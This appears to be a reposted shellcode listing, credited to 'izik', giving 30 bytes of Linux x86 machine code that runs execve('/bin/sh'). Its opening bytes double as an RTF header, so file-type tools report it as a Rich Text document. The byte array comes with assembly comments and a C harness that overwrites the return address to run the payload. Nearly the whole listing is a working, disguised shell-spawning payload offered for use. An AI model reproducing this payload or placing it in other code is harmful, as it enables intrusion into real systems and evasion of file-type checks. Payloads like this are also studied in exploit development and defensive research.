linux/x86 execve(/bin/sh) + RTF Header 30 bytes
文章作者：izik[code]/*
* (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + RTF header - 30 bytes
*
* root@magicbox:~# file linux-sh-rtfhdr.bin
* linux-sh-rtfhdr.bin: Rich Text Format data, version 1,
*
* - izik <[email]izik@tty64.org[/email]>
*/
char shellcode[] =
//
// RTF Header (7 bytes)
// - Be careful not to trigger any of those expressions.
//
"\x7b\x5c" // jnp 80480d2 <_start+0x5e>
"\x72\x74" // jb 80480ec <_start+0x78>
"\x66\x31\xc0" // xor %ax,%ax
//
// execve("/bin/sh", ["/bin/sh", NULL]);
//
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}[/code]
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